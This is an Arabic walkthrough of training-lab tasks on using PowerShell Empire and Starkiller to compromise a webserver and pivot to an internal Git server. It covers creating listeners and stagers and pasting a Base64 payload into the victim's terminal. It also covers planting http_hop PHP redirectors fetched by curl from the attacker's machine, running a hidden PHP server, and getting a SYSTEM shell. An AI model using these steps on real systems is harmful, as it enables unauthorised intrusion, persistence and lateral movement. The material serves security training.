  • العمل الجماعي (Team Collaboration): يحتوي على نظام محادثة (Messaging) مخصص لفرق الاختراق (Red Teams) لكي يتواصلوا مع بعضهم داخل الأداة أثناء الهجوم على شركة معينة.

🛑 المشكلة الكبيرة.. وخطة المعركة! (The Problem & The Plan)

المشكلة:

هدفنا الرئيسي هو اختراق سيرفر الـ Git Server. لكن كما تتذكر، هذا السيرفر معزول داخلياً ولا يملك إنترنت ليتصل بجهازنا (Kali) مباشرة. وبسبب طريقة عمل Empire في الـ Pivoting (القفز بين الشبكات)، سنحتاج إلى تجهيز Listener من نوع "خاص جداً".

الخطة:

لكي لا نتعقد، سنتعلم أولاً كيف نستخدم Empire بالطريقة "الطبيعية السهلة". كيف؟ سنقوم بتجربة كل ما تعلمناه على سيرفر الـ Webserver (الجهاز الأول الذي اخترقناه سابقاً والذي يملك اتصالاً مباشراً بنا).

بمجرد أن نتقن الأساسيات على السيرفر الأول، سنحول أنظارنا ونشن الهجوم المعقد على الـ Git Server!


🖥️ كيف سيكون الشرح القادم؟ (CLI vs GUI)

في كل مهمة من المهام القادمة، سيعطيك اللاب طريقتين للتنفيذ:

  1. عن طريق الشاشة السوداء والأوامر (Empire CLI).
  2. عن طريق الواجهة الرسومية والماوس (Starkiller GUI).

الخلاصة (Summary)

في هذه المهمة، تعرفنا على البنية الأساسية لـ Empire:

  • Listeners: المستمعون الذين ينتظرون الاتصالات الواردة
  • Stagers: البايلودات التي يتم زرعها في أجهزة الضحايا
  • Agents: الجلسات الحية مع الأجهزة المخترقة (مثل Sessions في Metasploit)
  • Modules: الأدوات الجاهزة للهجمات المتقدمة

الميزات الإضافية: Plugins، Credential Storage، Team Collaboration

الخطوة التالية: سنبدأ بتطبيق Empire على Webserver أولاً لتعلم الأساسيات، ثم ننتقل للهجوم المتقدم على Git Server!


Task 25: Empire - Listeners

سطر أوامر Empire جاهز للعمل - (Empire) >


💻 أولاً: إنشاء Listener عبر سطر الأوامر (Empire CLI)

بمجرد تشغيل العميل (Client) الخاص بـ Empire كما فعلنا سابقاً، ستكون أمام سطر أوامر يبدأ بـ (Empire) >.

1. اختيار الـ Listener:

الأمر الذي نستخدمه لاختيار المستمع هو uselistener.

إذا كتبت uselistener (مع ترك مسافة/Space في النهاية)، سيظهر لك قائمة منسدلة (Dropdown Menu) بكل أنواع المستمعين المتاحين في البرنامج.

القائمة المنسدلة بأنواع المستمعين المتاحة عند كتابة uselistener

بما أننا نريد استخدام نوع HTTP، سنكتب الأمر كاملاً كالتالي:

uselistener http

2. استعراض الخيارات (Options):

بمجرد كتابة الأمر السابق والضغط على Enter، ستظهر لك شاشة مليئة بالبيانات. هذا الجدول يحتوي على كل إعدادات هذا الـ Listener (الخيارات الإلزامية والاختيارية).

ملاحظة: في أي وقت تريد رؤية هذا الجدول مجدداً، فقط اكتب الأمر options.

جدول خيارات الـ HTTP Listener - يعرض كل الإعدادات القابلة للتعديل

3. ضبط الإعدادات (Setting Options):

طريقة ضبط الإعدادات تشبه جداً أداة Metasploit. نستخدم الأمر set متبوعاً باسم الخيار، ثم القيمة.

⚠️ ملاحظة مهمة جداً: أسماء الخيارات في Empire حساسة لحالة الأحرف (Case Sensitive)، يعني Name تختلف عن name!

الخيارات التي يجب أن نغيرها (كحد أدنى) هي:

Option Description Value
Name اسم مميز للـ Listener حتى لا نضيع إذا فتحنا أكثر من واحد CLIHTTP
Host الـ IP الخاص بجهازك (Kali / VPN IP) لكي يعرف الجاسوس أين يعود 10.50.73.2
Port الباب الذي سنفتحه على جهازنا لاستقبال الاتصال 8000

تطبيق الأوامر:

set Name CLIHTTP
set Host 10.50.73.2
set Port 8000

(طبعاً ستستبدل 10.50.73.2 بالـ IP الخاص بك في اللاب).

تطبيق أوامر set لضبط الاسم والـ IP والبورت

4. التشغيل والإدارة (Execution & Management):

  • للتشغيل: اكتب الأمر execute واضغط Enter. هكذا بدأ الراديو بالعمل!
  • للخروج: للخروج من إعدادات هذا الـ Listener والعودة للقائمة الرئيسية، اكتب back أو main.
  • لعرض المستمعين: لرؤية كل الـ Listeners الشغالة حالياً، اكتب الأمر listeners في القائمة الرئيسية.

قائمة الـ Listeners النشطة بعد تنفيذ الأمر listeners

  • للإيقاف (Kill): إذا أردت إطفاء Listener، ببساطة اكتب kill LISTENER_NAME (مثلاً kill CLIHTTP).

🎨 ثانياً: إنشاء Listener عبر الواجهة الرسومية (Starkiller)

الآن دعنا نفعل نفس الشيء تماماً ولكن باستخدام الماوس والواجهة المريحة.

1. الدخول لقائمة Listeners:

عندما تفتح Starkiller وتسجل الدخول، ستجد نفسك مباشرة في صفحة الـ Listeners.

صفحة Listeners في Starkiller بعد تسجيل الدخول

2. إنشاء مستمع جديد:

  • اضغط على الزر البرتقالي فوق على اليمين "CREATE".
  • ستفتح لك نافذة. من القائمة المنسدلة Type (النوع)، اختر http. ستلاحظ ظهور نفس الخيارات التي رأيناها في الشاشة السوداء قبل قليل!

نافذة إنشاء Listener جديد في Starkiller مع القائمة المنسدلة

3. تعبئة البيانات:

⚠️ انتبه: لا يجوز استخدام نفس الـ Port لعملين مختلفين! بما أننا استخدمنا بورت 8000 في الشاشة السوداء وهو شغال الآن، يجب أن نستخدم بورتاً آخر هنا.

Option Value
Name Webserver (Starkiller)
Host http://10.50.73.2
Port 8001 (بورت مختلف)

تعبئة بيانات الـ Listener في واجهة Starkiller

4. الحفظ والمشاهدة:

  • بعد تعبئة البيانات، انزل للأسفل واضغط على زر SUBMIT البرتقالي.
  • للعودة ومشاهدة الراديو الخاص بك، اضغط على كلمة Listeners في القائمة العلوية أو الجانبية.
  • ستجد الآن أن لديك 2 Listeners شغالين! (واحد عملناه بالشاشة السوداء، وواحد من الواجهة الرسومية).

اثنان من الـ Listeners النشطة — واحد من CLI وواحد من Starkiller

💡 ملاحظة سحرية: بما أن Starkiller والشاشة السوداء متصلين بنفس الخادم "Server"، فإن أي شيء تعمله في أحدهما سيظهر في الآخر فوراً!


الخلاصة (Summary)

في هذه المهمة، تعلمنا كيفية إنشاء Listeners في Empire بطريقتين:

  • إنشاء HTTP Listener عبر سطر الأوامر (CLI) باستخدام uselistener http
  • ضبط الإعدادات باستخدام set (حساسة لحالة الأحرف!)
  • تشغيل الـ Listener باستخدام execute وإدارته بأوامر listeners و kill
  • إنشاء HTTP Listener عبر الواجهة الرسومية Starkiller بسهولة
  • التأكد من أن كلا الواجهتين متزامنتين مع نفس السيرفر

الخطوة التالية: في المهمة القادمة سنتعلم كيفية إنشاء Stagers لتوصيل الجواسيس (Agents) بالـ Listeners التي أعددناها!


Task 26: Empire - Stagers


💻 أولاً: صناعة الـ Stager عبر سطر الأوامر (Empire CLI)

بما أن سيرفر الـ Webserver الذي نتدرب عليه الآن يعمل بنظام Linux، سنحتاج إلى Stager يفهمه نظام لينكس (مثل سكريبت Bash).

1. اختيار الـ Stager المناسب:

في سطر أوامر Empire، إذا كتبت usestager (مع ترك مسافة)، ستظهر لك قائمة بكل الحمولات المتاحة.

  • الخيار العام: multi/launcher — هو المفضل عادةً لأنه عام ويعمل على أكثر من نظام.
  • خيارنا في هذه المهمة: multi/bash — حمولة موجهة لبيئة سطر أوامر Bash الموجودة في لينكس.

اكتب الأمر التالي:

usestager multi/bash

سيظهر لك جدول بالخيارات الخاصة بهذه الحمولة.

جدول خيارات الـ multi/bash Stager بعد اختياره

2. ربط الجاسوس بالراديو (Setting the Listener):

هذه أهم خطوة! يجب أن نخبر الـ Stager: "عندما تنجح في اختراق جهاز الضحية، اتصل بهذا الراديو تحديداً".

سنقوم بربطه بالـ Listener الذي صنعناه في المهمة السابقة (والذي أسميناه CLIHTTP).

set Listener CLIHTTP

3. توليد الحمولة (Execution):

الآن كل شيء جاهز. سنطلب من البرنامج أن يصنع الكود.

execute

ماذا سيحدث؟

سيقوم Empire بطباعة الكود الخبيث أمامك على الشاشة (وهو عبارة عن كود Base64 مشفر ومعقد قليلاً)، وسيخبرك أنه جاهز.

الكود الخبيث المولّد — كود Base64 مشفر جاهز للاستخدام على جهاز الضحية

✅ الآن، الكود الخبيث جاهز وموجود عندك. لاحقاً سنقوم بنسخه وتشغيله على جهاز الضحية.

للخروج من هذه القائمة، اكتب back.


🎨 ثانياً: صناعة الـ Stager عبر الواجهة الرسومية (Starkiller)

العملية هنا أسهل بكثير ومرئية بالكامل.

1. الدخول لقائمة Stagers:

في القائمة الجانبية اليسرى لبرنامج Starkiller، ابحث عن أيقونة "الحقيبة" أو كلمة Stagers واضغط عليها.

القائمة الجانبية في Starkiller — أيقونة Stagers

2. إنشاء Stager جديد:

  • اضغط على الزر البرتقالي فوق على اليمين "CREATE".
  • من القائمة المنسدلة للنوع (Type)، اختر multi/bash.

3. تعبئة البيانات (ربط الـ Listener):

ستظهر لك شاشة الإعدادات. كل ما عليك فعله هو اختيار اسم الـ Listener الذي صنعناه في الواجهة الرسومية سابقاً (والذي أسميناه Webserver (Starkiller)).

اترك باقي الإعدادات كما هي (Default values).

إعدادات الـ Stager في Starkiller مع اختيار الـ Listener المناسب

اضغط على الزر البرتقالي SUBMIT في الأعلى لإنشاء الحمولة.

4. نسخ الكود (Copy to Clipboard):

بمجرد الضغط على Submit، سيعيدك البرنامج لصفحة الـ Stagers الرئيسية، وستجد الجاسوس الذي صنعته في القائمة.

للحصول على الكود الخبيث:

  • اضغط على النقاط الثلاث العمودية (Actions) الموجودة يمين اسم الـ Stager.
  • اختر Copy to Clipboard (نسخ إلى الحافظة).

نسخ الكود الخبيث من قائمة Actions — Copy to Clipboard

✅ الآن أصبح كود الاختراق المولّد من Starkiller منسوخاً لديك (مثلما ظهر في الـ CLI سابقاً).


الخلاصة (Summary)

في هذه المهمة، تعلمنا كيفية صناعة Stagers في Empire بطريقتين:

  • اختيار نوع الـ Stager المناسب (multi/bash) عبر سطر الأوامر (CLI)
  • ربط الـ Stager بالـ Listener باستخدام set Listener CLIHTTP
  • توليد الكود الخبيث (Base64) باستخدام execute
  • إنشاء نفس الـ Stager عبر الواجهة الرسومية Starkiller بسهولة تامة
  • نسخ الكود الخبيث من Starkiller باستخدام Copy to Clipboard

الخطوة التالية: في المهمة القادمة سنتعلم كيفية استخدام هذا الكود لإنشاء Agents (الجواسيس) على أجهزة الضحايا والتحكم بها!


Task 27: Empire - Agents


🎣 الخطوة 1: زراعة وتشغيل الـ Stager

لدينا الآن كود الـ Stager الذي نسخناه في المهمة السابقة (سواء من CLI أو Starkiller). كيف نشغله على الضحية؟

  • الطريقة التقليدية: أن تفتح محرر نصوص (مثل nano) على سيرفر الضحية، تلصق الكود، تحفظه كملف (مثلاً hero.sh)، تعطيه صلاحية التشغيل (chmod +x)، ثم تشغله.
  • الطريقة الأذكى (والتي سنستخدمها): نسخ الـ Payload الفعلي مباشرة في Terminal الضحية!

إذا تأملنا في الكود الذي ولّده Empire، سنجد أنه مقسم لثلاثة أجزاء:

تحليل كود الـ Stager — ثلاثة أجزاء مميزة بالألوان

🟢 المربع الأخضر #!/bin/bash — هذا الـ Shebang، يخبر اللينكس أن هذا سكريبت Bash.
🔴 المربع الأحمر هذا هو الـ Payload الفعلي — الكود الخبيث المشفر بـ Base64.
🔵 المربع الأزرق rm -f "$0" \n exit — أوامر تنظيف لكي يمسح السكريبت نفسه بعد التشغيل.

💡 خدعة الهاكرز:

لسنا بحاجة لإنشاء ملف أبداً! يمكننا ببساطة نسخ المربع الأحمر فقط (كود الـ Payload الطويل الذي يبدأ بـ echo "import sys...) ولصقه مباشرة في الـ Terminal الخاص بالضحية (الذي اخترقناه سابقاً) والضغط على Enter!

لصق كود الـ Payload مباشرة في Terminal الضحية

✅ بمجرد الضغط على Enter، الكود سيعمل في الخلفية ويتصل بالـ Listener الخاص بنا.


💻 الخطوة 2: التفاعل مع العميل عبر سطر الأوامر (Empire CLI)

إذا عدت الآن إلى شاشة Empire CLI، ستجد رسالة خضراء مفرحة جداً تظهر لك فجأة تخبرك:

[+] Initial agent XXXXXXXX from 10.200.72.200 now active

🎉 لقد حصلنا على عميل!

رسالة نجاح الاتصال — العميل الجديد أصبح نشطاً!

1. عرض العملاء (List Agents):

اكتب الأمر:

agents

سيظهر لك جدول بجميع الأجهزة المخترقة حالياً، مع اسم عشوائي لكل عميل (مثل TLJ30HRY).

جدول العملاء النشطين — لاحظ الاسم العشوائي والـ IP الخاص بالضحية

2. الدخول للعميل (Interact):

لتبدأ بالتحكم بهذا الجهاز، اكتب:

interact AGENT_NAME

استبدل AGENT_NAME بالاسم العشوائي الذي ظهر لك، ويمكنك استخدام زر Tab للإكمال التلقائي.

3. ماذا يمكنني أن أفعل؟ (Help):

بمجرد الدخول، سيتغير شكل سطر الأوامر ليصبح (Empire: TLJ30HRY) >.

اكتب help لترى قائمة مذهلة بكل الأوامر المتاحة لك (مثل تنزيل ملفات، رفع ملفات، أخذ سكرين شوت، إلخ).

قائمة الأوامر المتاحة بعد الدخول للعميل — help

4. الإدارة والخروج:

  • لتغيير الاسم: الاسم العشوائي مزعج، غيره بأمر rename AGENT_NAME NEW_NAME
    (مثلاً rename TLJ30HRY WebServer).
  • للخروج من العميل: اكتب back للعودة للقائمة الرئيسية (الجاسوس سيبقى حياً في الخلفية).
  • لقتل العميل (Delete): إذا انتهيت من اختراق الجهاز وتريد إتلاف الجاسوس، اكتب kill AGENT_NAME.

أوامر إدارة العميل — تغيير الاسم، الخروج، والقتل


🎨 الخطوة 3: التفاعل مع العميل عبر الواجهة الرسومية (Starkiller)

الأمور هنا أجمل وأكثر متعة بصرية!

1. الدخول لقائمة العملاء:

في القائمة الجانبية اليسرى لـ Starkiller، اضغط على أيقونة Agents (أيقونة السلسلة المترابطة).

أيقونة Agents في القائمة الجانبية لـ Starkiller

ستجد عميلك الجديد موجوداً في القائمة بشكل أنيق.

قائمة العملاء في Starkiller — العميل الجديد ظاهر بوضوح

2. التحكم بالعميل (Interact):

  • اضغط على اسم العميل أو اضغط على أيقونة "Pop Out" (سهم يخرج من مربع) الموجودة في قائمة Actions يمين الاسم.
  • ستفتح لك صفحة تحكم كاملة بهذا الجهاز!

لوحة التحكم بالعميل في Starkiller — واجهة رسومية كاملة

3. مميزات لوحة التحكم الرسومية:

في هذه اللوحة العلوية، ستجد عدة تبويبات (Tabs):

💬 INTERACT
لإرسال أوامر سطر الأوامر (Shell commands) ورؤية النتيجة مباشرة
📁 FILE BROWSER
ميزة خرافية! متصفح ملفات للضحية لتتصفح، تحمل، وترفع الملفات بالماوس!
📋 TASKS
لرؤية سجل الأوامر التي أرسلتها سابقاً
🗑️ Kill Agent
اضغط على أيقونة سلة المهملات الحمراء في أعلى يمين الشاشة

الخلاصة (Summary)

في هذه المهمة، تعلمنا كيفية زراعة الـ Stager والتفاعل مع العملاء (Agents):

  • تحليل كود الـ Stager وفهم أجزائه الثلاثة (Shebang, Payload, Cleanup)
  • لصق الـ Payload فقط مباشرة في Terminal الضحية بدون إنشاء ملف
  • استقبال العميل في Empire CLI واستخدام agents و interact
  • إدارة العملاء: تغيير الاسم (rename)، الخروج (back)، والقتل (kill)
  • التفاعل عبر Starkiller باستخدام التبويبات (Interact, File Browser, Tasks)

الخطوة التالية: في المهمة القادمة سنتعلم كيفية استخدام Modules لتنفيذ مهام متقدمة على الأجهزة المخترقة!


Task 28: Empire - Hop Listeners


🤔 ما هو الـ Hop Listener؟ (المفهوم)

تخيل أنك تريد إرسال رسالة سرية لشخص بعيد جداً لا تستطيع الوصول إليه مباشرة. ماذا تفعل؟ تعطي الرسالة لـ "وسيط" (شخص في المنتصف)، وهذا الوسيط يوصلها للهدف.

الـ Hop Listener يعمل بنفس المبدأ:

  1. لن يقوم بفتح بورت على جهازك (كما يفعل الـ Listener العادي).
  2. بدلاً من ذلك، سيقوم بتوليد مجموعة من ملفات PHP الخبيثة.
  3. مهمتنا هي أخذ هذه الملفات وزراعتها في السيرفر الوسيط (الـ Webserver الذي اخترقناه سابقاً ويمتلك اتصالاً بالإنترنت وبالسيرفر الداخلي).
  4. عندما نقوم باختراق السيرفر الداخلي (Git Server)، سنجعله يتصل بهذه الملفات الموجودة على السيرفر الوسيط، وبدورها ستقوم هذه الملفات بـ "إعادة توجيه" (Redirect) الاتصال إلينا في الكالي!
🖥️ Git Server
(الهدف الداخلي)
🌐 Webserver
(الوسيط + PHP)
🐧 Kali
(المهاجم + Listener)

ببساطة: هو يصنع لنا "نقطة ارتكاز" ذكية ومخفية على شكل ملفات ويب عادية جداً (مثل login.php).


💻 أولاً: صناعة الـ Hop Listener عبر سطر الأوامر (Empire CLI)

تأكد أولاً أنك في القائمة الرئيسية لـ Empire (إذا كنت داخل Agent، اكتب back).

1. اختيار الـ Hop Listener:

أشهر نوع هو http_hop. اكتب الأمر التالي:

uselistener http_hop

جدول خيارات الـ http_hop Listener بعد اختياره

2. ضبط الإعدادات (The Magic Options):

هناك 3 إعدادات جوهرية يجب أن نضبطها هنا:

Option Description Value
RedirectListener إلى أين سيتم التوجيه؟ — اسم الـ Listener العادي الذي صنعناه في Task 25 CLIHTTP
Host أين سيعيش هذا الـ Hop؟ — IP السيرفر الوسيط (Webserver) 10.200.72.200
Port على أي بورت سيعمل السيرفر الوهمي؟ — اختر بورت عشوائي فوق 15000 47000

تطبيق الأوامر:

set RedirectListener CLIHTTP
set Host 10.200.72.200
set Port 47000

ملاحظة: يمكنك التأكد من إعداداتك بكتابة options.

الإعدادات بعد تطبيق أوامر set — كل شيء جاهز للتنفيذ

3. توليد الملفات (Execution):

اكتب الأمر:

execute

ماذا حدث الآن؟

البرنامج لم يفتح بورتاً، بل قام بإنشاء مجلد جديد في مسار /tmp/http_hop/ على جهازك (Kali)، ووضع بداخله ملفات PHP خبيثة (مثل news.php, admin/get.php).

هذه الملفات يجب أن ننقلها لاحقاً للسيرفر الوسيط.


🎨 ثانياً: صناعة الـ Hop Listener عبر الواجهة الرسومية (Starkiller)

نفس الفكرة تماماً ولكن بالماوس!

1. الدخول لقائمة Listeners:

اذهب إلى قسم Listeners من القائمة الجانبية اليسرى.

قسم Listeners في القائمة الجانبية لـ Starkiller

2. إنشاء Hop Listener جديد:

  • اضغط على CREATE.
  • من قائمة Type (النوع)، اختر هذه المرة http_hop.

3. تعبئة البيانات:

الآن نملأ نفس البيانات التي ملأناها في الـ CLI:

Option Value
Name http_hop (Starkiller) — اسم مميز
Host http://10.200.72.200:47002 — IP الوسيط مع البورت
Port 47002 — بورت مختلف عن CLI
RedirectListener CLIHTTP — الـ Listener الأساسي
OutFolder /tmp/http_hop2/ — مسار مختلف حتى لا يمسح الملفات السابقة

⚠️ مهم جداً: غيّر مسار OutFolder إلى مسار مختلف (مثلاً /tmp/http_hop2/) لكي لا يمسح الملفات التي أنشأناها في الخطوة السابقة من الـ CLI!

إعدادات الـ Hop Listener في واجهة Starkiller

4. توليد الملفات:

اضغط على الزر البرتقالي SUBMIT. ستتولد ملفات الـ PHP في المجلد الذي حددته على جهازك.


الخلاصة (Summary)

في هذه المهمة، تعلمنا مفهوم الـ Hop Listener وكيفية إنشائه:

  • فهم مبدأ "الوسيط" — الـ Hop Listener لا يفتح بورت، بل يولّد ملفات PHP
  • إنشاء http_hop عبر CLI مع ربطه بـ RedirectListener
  • توليد ملفات PHP الخبيثة في /tmp/http_hop/
  • إنشاء نفس الـ Hop عبر Starkiller مع مسار مخرجات مختلف

الخطوة التالية: في المهمة القادمة سنتعلم كيفية نقل ملفات PHP هذه للسيرفر الوسيط وتشغيلها لإتمام عملية الـ Pivoting!


Task 29: Git Server


🕵️‍♂️ الخطوة الأولى: صناعة الجاسوس (Generating the Stager)

بما أننا سنستهدف سيرفر ويندوز، سنحتاج إلى Stager يعتمد على PowerShell. أفضل خيار وأكثره شيوعاً في Empire هو multi/launcher.

(تذكر: لقد تعلمنا هذا في Task 26، لذا ستكون الخطوات مألوفة).

💻 الطريقة الأولى: سطر الأوامر (CLI)

  1. اكتب الأمر لاختيار الحمولة:
    usestager multi/launcher
  2. اربط الحمولة بمحطة التوجيه (Hop Listener):
    set Listener http_hop
  3. اكتب execute — سيظهر لك كود طويل يبدأ بكلمة powershell.

🎨 الطريقة الثانية: الواجهة الرسومية (Starkiller)

  1. اذهب لقائمة Stagers واضغط CREATE.
  2. اختر النوع multi/launcher.
  3. من خيار Listener، اختر الـ Hop Listener.
  4. اضغط SUBMIT، ثم Copy to Clipboard.

إعداد الـ Stager عبر سطر الأوامر — usestager multi/launcher مع ربط الـ Hop Listener

كود PowerShell المولّد — جاهز للنسخ والاستخدام لاحقاً

إنشاء الـ Stager عبر واجهة Starkiller — اختيار الـ Hop Listener

نسخ كود الـ Stager من Starkiller إلى الحافظة

⚠️ ملاحظة هاااامة جداً: انسخ الكود واحفظه في ملف نصي (Notepad) على جهازك ولا تقم بتشغيله الآن! لن يعمل الكود لأننا لم نقم بتشغيل محطة التوجيه بعد.


📦 الخطوة الثانية: زراعة محطة التوجيه (Setting up the Jumpserver)

الآن نأتي للجزء الممتع. لدينا ملفات PHP على جهازنا (Kali) في مجلد /tmp/http_hop/، ونريد نقلها إلى السيرفر الوسيط (Webserver .200).

1. تجهيز مجلد على السيرفر الوسيط:

افتح الـ Terminal الخاص بالسيرفر الوسيط (الذي اخترقناه سابقاً)، واصنع مجلداً جديداً للتمويه:

mkdir /tmp/hop-Hero
cd /tmp/hop-Hero

(استبدل Hero باسمك).

إنشاء مجلد التمويه على السيرفر الوسيط

2. ضغط الملفات ونقلها:

لكي لا ننقل ملفات الـ PHP واحداً تلو الآخر، سنقوم بضغطها في ملف zip واحد.

🐧 على جهازك (Kali)

اذهب للمجلد واضغط الملفات:

cd /tmp/http_hop && sudo zip -r hop.zip *

ثم شغل سيرفر بايثون لرفعها:

sudo python3 -m http.server 80
🎯 على السيرفر الوسيط (Target)

اسحب الملف باستخدام curl:

curl ATTACKING_IP/hop.zip -o hop.zip

(استبدل ATTACKING_IP بالـ IP الخاص بجهازك Kali).

ضغط ملفات PHP ونقلها عبر سيرفر Python HTTP

3. فك الضغط (Unzip):

على السيرفر الوسيط، فك ضغط الملف وتأكد من محتوياته:

unzip hop.zip
ls

يجب أن ترى ملف news.php ومجلدي admin و login.

محتويات المجلد بعد فك الضغط — ملفات PHP الخبيثة جاهزة


🌐 الخطوة الثالثة: تشغيل سيرفر الويب الوهمي (The PHP Server)

هنا تكمن الخدعة الذكية! السيرفر الوسيط يحتوي أصلاً على لغة PHP (لأنه يشغل موقعاً إلكترونياً). نحن لن نستخدم سيرفر Apache الخاص به كي لا نثير الشبهات، بل سنستخدم ميزة موجودة في لغة PHP نفسها اسمها (PHP Development Webserver) لفتح سيرفرنا الخاص!

نفذ هذا الأمر السحري على السيرفر الوسيط (وأنت داخل مجلد hop-Hero):

php -S 0.0.0.0:47000 &>/dev/null &

🧐 التفصيل الممل للأمر:

  • php -S شغل سيرفر ويب مدمJ بلغة PHP.
  • 0.0.0.0 اسمع الاتصالات من أي جهاز (بما فيها السيرفر الداخلي Git Server).
  • 47000 هذا هو البورت الذي اخترناه عندما صنعنا الـ Hop Listener في المهمة 28!
  • &>/dev/null & "شغل السيرفر في الخلفية بسكوت تام ولا تزعجني برسائل الأخطاء".

تشغيل سيرفر PHP الوهمي وفتح البورت في الجدار الناري

🛡️ لا تنسَ الجدار الناري (Firewall)!

تذكر أن السيرفر الوسيط يستخدم firewalld. إذا لم تكن قد فتحت هذا البورت (مثلاً 47000) في الجدار الناري سابقاً، يجب أن تفتحه الآن وإلا لن يصل الاتصال:

firewall-cmd --zone=public --add-port=47000/tcp

الخلاصة (Summary)

في هذه المهمة، قمنا بتجهيز البنية التحتية لاختراق Git Server عبر الـ Hop:

  • توليد multi/launcher Stager مربوط بالـ Hop Listener (عبر CLI و Starkiller)
  • حفظ كود PowerShell في ملف نصي بدون تشغيله
  • نقل ملفات PHP الخبيثة للسيرفر الوسيط عبر zip + curl
  • تشغيل PHP Development Server على البورت 47000
  • فتح البورت في الجدار الناري بـ firewall-cmd

الخطوة التالية: الآن كل شيء جاهز! في المهمة القادمة سنقوم بتشغيل كود PowerShell على Git Server لإتمام الاختراق عبر محطة التوجيه!


Task 30: Empire - Modules


💻 أولاً: تشغيل الوحدات عبر سطر الأوامر (Empire CLI)

يجب أن تكون أولاً داخل "سياق" العميل (يعني أنك كتبت interact AGENT_NAME وشاشة الأوامر تبدأ باسم العميل).

1. استدعاء الوحدة (usemodule):

الأمر السحري هنا هو usemodule.

إذا كتبت usemodule (مع ترك مسافة في النهاية)، سيظهر لك قائمة منسدلة (Dropdown) ضخمة جداً تحتوي على كل الأسلحة المتاحة.

في هذا التدريب، سنستخدم أداة اسمها Sherlock (شيرلوك هولمز 🕵️‍♂️)، وظيفتها البحث في جهاز الويندوز المخترق عن ثغرات قديمة لرفع الصلاحيات (Privesc).

usemodule powershell/privesc/sherlock

2. ضبط الإعدادات (Options):

بعد اختيار الوحدة، اكتب الأمر options لترى الإعدادات المطلوبة لتشغيلها.

ستلاحظ في الجدول أن هناك خياراً واحداً مطلوباً (Required = True) وهو Agent.

البرنامج ذكي جداً، فبما أنك دخلت لهذه الوحدة وأنت داخل العميل أصلاً، سيقوم بتعبئة اسم العميل تلقائياً (مثلاً 1A52H3KW).

(ملاحظة: إذا كان الاسم فارغاً أو أردت تغييره، يمكنك استخدام الأمر المعتاد: set Agent AGENT_NAME).

خيارات وحدة Sherlock — لاحظ أن الـ Agent معبأ تلقائياً

3. التنفيذ (Execution):

execute

سيقوم Empire بإرسال المهمة (Task) للعميل لكي ينفذها في الخلفية (Background job).

بعد ثوانٍ قليلة، ستظهر لك النتائج على الشاشة مباشرة، توضح قائمة بالثغرات (CVEs) وما إذا كان النظام مصاباً بها (Vulnerable) أم لا.

نتائج Sherlock — قائمة الثغرات وحالة كل منها (Vulnerable / Not Vulnerable)

💡 خدعة سريعة للبحث (Search):

إذا كنت تعرف اسم الأداة (مثلاً sherlock) ولكنك لا تحفظ مسارها الطويل المعقد، يمكنك فقط كتابة usemodule sherlock، وسيقوم البرنامج بالبحث عنها وإظهار المسار الصحيح لك في قائمة منسدلة لتختاره!

البحث السريع — اكتب اسم الأداة فقط وسيظهر المسار الكامل


🎨 ثانياً: تشغيل الوحدات عبر الواجهة الرسومية (Starkiller)

العملية هنا أسهل وتعتمد على البحث والنقر.

1
قائمة Modules
اضغط على أيقونة المربعات في القائمة الجانبية
2
بحث sherlock
اكتب اسم الأداة في مربع البحث
3
اختيار Agent
اختر العميل من القائمة المنسدلة واضغط SUBMIT
4
Reporting
شاهد النتائج في قسم التقارير

1. الدخول لقائمة الوحدات (Modules):

في القائمة الجانبية اليسرى، ابحث عن أيقونة المربعات (Modules) واضغط عليها.

أيقونة Modules في القائمة الجانبية لـ Starkiller

2. البحث عن السلاح:

في الزاوية العلوية اليمنى من شاشة الـ Modules، ستجد مربع بحث (Search). اكتب فيه sherlock.

سيظهر لك مسار الأداة في الجدول powershell/privesc/sherlock. اضغط على اسمها لفتحها.

البحث عن وحدة Sherlock في Starkiller — النتائج تظهر فوراً

3. اختيار العميل والتنفيذ:

ستفتح لك شاشة إعدادات الوحدة.

من القائمة المنسدلة البرتقالية المسماة Agent، اختر اسم الجاسوس الذي تريد تنفيذ الأداة عليه (مثلاً 1A52H3KW).

بعد اختياره، اضغط على زر SUBMIT البرتقالي أعلى يمين الشاشة.

إعدادات وحدة Sherlock في Starkiller — اختيار العميل والتنفيذ

4. أين أرى النتائج؟ (Reporting):

على عكس الشاشة السوداء التي ترمي لك النتائج بوجهك، الواجهة الرسومية منظمة جداً وتحفظ كل النتائج في أرشيف.

  • اذهب للقائمة الجانبية اليسرى واضغط على أيقونة الورقة Reporting (التقارير).
  • في صفحة التقارير، ستجد قائمة بكل الأوامر والوحدات التي شغلتها. ابحث عن المهمة الأخيرة الخاصة بـ Sherlock.
  • اضغط على السهم الصغير (المنسدل) الموجود على يسار اسم المهمة لكي تتوسع وتظهر لك النتائج الكاملة.

أيقونة Reporting في القائمة الجانبية — أرشيف النتائج

قائمة المهام المنفذة — اضغط على السهم لتوسيع النتائج

بمجرد الضغط على السهم، ستفتح لك شاشة سوداء صغيرة داخل المتصفح تحتوي على نفس تقرير الثغرات الذي رأيناه في الشاشة السوداء!

نتائج Sherlock داخل Starkiller — نفس تقرير الثغرات بشكل أنيق


الخلاصة (Summary)

في هذه المهمة، تعلمنا كيفية استخدام Modules في Empire:

  • استدعاء الوحدات عبر usemodule مع المسار الكامل أو اسم الأداة فقط
  • تشغيل Sherlock للبحث عن ثغرات Privilege Escalation
  • قراءة نتائج الفحص (CVEs) ومعرفة ما إذا كان النظام Vulnerable
  • تنفيذ نفس العملية عبر Starkiller مع قراءة النتائج في قسم Reporting

الخطوة التالية: في المهمة القادمة سنتعلم كيفية استغلال الثغرات التي اكتشفها Sherlock لرفع صلاحياتنا على الجهاز المخترق!


Task 31: Empire - Interactive Shell


💻 أولاً: الشل التفاعلي عبر سطر الأوامر (Empire CLI)

للوصول إلى هذه الشاشة التفاعلية من خلال الـ CLI، كل ما عليك فعله هو الدخول إلى العميل الخاص بك (عبر أمر interact AGENT_NAME)، ثم كتابة أمر واحد بسيط:

shell
Empire — Interactive Shell
(Empire: 279ZBGXU) > shell
[*] Exit Shell Menu with Ctrl+C
(Empire: 279ZBGXU) > whoami
NT AUTHORITY\SYSTEM
C:\GitStack\gitphp > _

🧐 شرح الصورة بالتفصيل:

  • في البداية، دخلنا إلى العميل الذي يحمل الاسم 279ZBGXU.
  • ثم كتبنا أمر shell.
  • لاحظ الرسالة الزرقاء [*] Exit Shell Menu with Ctrl+C، والتي تخبرك أنك إذا أردت الخروج من هذه الشاشة والعودة لقائمة العميل العادية، اضغط على زري Ctrl و C معاً في الكيبورد.
